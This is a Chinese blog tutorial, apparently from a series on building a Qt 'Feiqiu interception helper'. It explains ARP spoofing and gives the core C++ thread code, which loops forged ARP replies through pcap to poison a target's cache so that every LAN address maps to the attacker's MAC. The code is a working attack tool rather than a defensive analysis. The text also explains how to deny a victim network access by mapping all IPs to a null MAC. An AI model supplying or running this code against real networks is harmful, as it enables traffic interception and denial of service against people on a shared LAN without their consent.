Qt:Qt實現飛秋攔截助手—ARP攻擊
Qt實現飛秋攔截助手—ARP攻擊
前言
繼續我們的飛秋攔截助手開發,上篇是Qt:Qt實現飛秋攔截助手—Mac地址掃描器 ,本篇將介紹 如何進行ARP攻擊,也叫ARP欺騙。
我們知道本機有個ARP快取表 儲存的是IP地址和實體地址的對映 IP_A -> MAC_A 是一一對應的。我們這裡還是拿 A、B、C 3臺主機做比喻,A和B通訊,C是攻擊者。
ARP攻擊 就是,主機C 一直給 攻擊目標A傳送ARP應答包,告訴他 我是IP_B,我的實體地址是MAC_C,然後 主機 A 就會更新 本機ARP快取 IP_B ->MAC_C。這樣當主機A 上層應用想給 主機B 傳送訊息,進行組包後 在網絡卡層 目的mac本應該是MAC_B但是已經被我們的ARP攻擊一直欺騙著,這樣訊息 就不會發送到MAC_B 而是會發送給 攻擊者MAC_C。
效果
先看看效果,在說。
這是介面,1.2是本機 也就是攻擊者,1.9 是虛擬機器 攻擊目標,1.1是閘道器,1.3 1.4是2臺手機。
被攻擊者 虛擬機器1.9的ARP快取表 被攻擊後的資料 。已經被ARP欺騙了,區域網中的IP對應的mac地址已經被替換為攻擊者的mac地址了。
在看看 wireshark抓包情況
核心程式碼
主要是 組一個 ARP應答包,一直髮送給攻擊者,告訴他,區域網中所有的IP對應的mac地址是 攻擊者的Mac,正常的ARP快取重新整理大概是10分鐘,當你重新整理為正確的,我這邊又給你覆蓋掉了,你就沒咒唸了。這裡ARP攻擊不光可以 遮蔽區域網,你可也攻擊對方讓對方上不了網,怎樣弄呢?將0.0.0.0 ~ 255.255.255.255的所有的IP對應的MAC地址全部替換為00:00:00:00:00:00無效的實體地址就可以了。同樣是利用一直迴圈傳送ARP應答包來實現欺騙的。
下面是具體細節程式碼,底層資料包傳送使用的
void ArpAttackThread::run(){ if( this->mAdapterHandle == nullptr){ qDebug() << "網絡卡裝置沒有開啟"; return; } char tmp[18] = {0}; // 構造ARP請求包 ,2位元組及以上的 存在大小端對齊問題,需要轉換為網路位元組序 ArpPackage package; // 乙太網 頭部 memcpy(package.ethHead.destEthAddr,this->mAtkMacAddr,6); memcpy(package.ethHead.srcEthAddr,this->mCurMacAddr,6); package.ethHead.frameType = htons(0x0806); Utils::macToHexString(package.ethHead.srcEthAddr,tmp); // 構造ARP請求體內容 package.arpBody.hardType = htons(1);// 乙太網地址 package.arpBody.protocolType = htons(0x0800); // IP地址 package.arpBody.hardLen = 6; package.arpBody.protocolLen = 4; package.arpBody.op = htons(2); // ARP應答包 memcpy(package.arpBody.destEthAddr,this->mAtkMacAddr,6); memcpy(package.arpBody.srcEthAddr,this->mCurMacAddr,6); Utils::htonN(reinterpret_cast<uint8_t*>(&this->mAtkIPAddr),package.arpBody.destIpAddr,4); // 傳送ARP應答包 欺騙目的主機 while(true){ if(this->isAttack == false) break; // 傳送ARP應答包,將攻擊目標 ARP快取中的 區域網中所有的MAC地址 全部改為自己,達到ARP欺騙的目的 // 如果想讓對方 不能上網,很簡單 將0.0.0.0-255.255.255.255 所有IP都給對應的MAC地址 改為無效的MAC 就能達到 for(uint32_t ipAddr = mNetworkAddr+1; ipAddr < mBroadcastAddr; ipAddr++){ if( ipAddr == this->mAtkIPAddr) continue; struct in_addr addr; addr.S_un.S_addr = htonl(ipAddr); qDebug() << inet_ntoa( addr); Utils::htonN(reinterpret_cast<uint8_t*>(&(ipAddr)),package.arpBody.srcIpAddr,4); int ret = pcap_sendpacket(this->mAdapterHandle,reinterpret_cast<unsigned char*>(&package),42); if( ret != 0){ qDebug() << inet_ntoa( addr) << " 傳送失敗!" ; } Sleep(100); } Sleep(3000); } // 關閉裝置 pcap_close(this->mAdapterHandle); // 已經停止ARP欺騙 emit stopDone(); }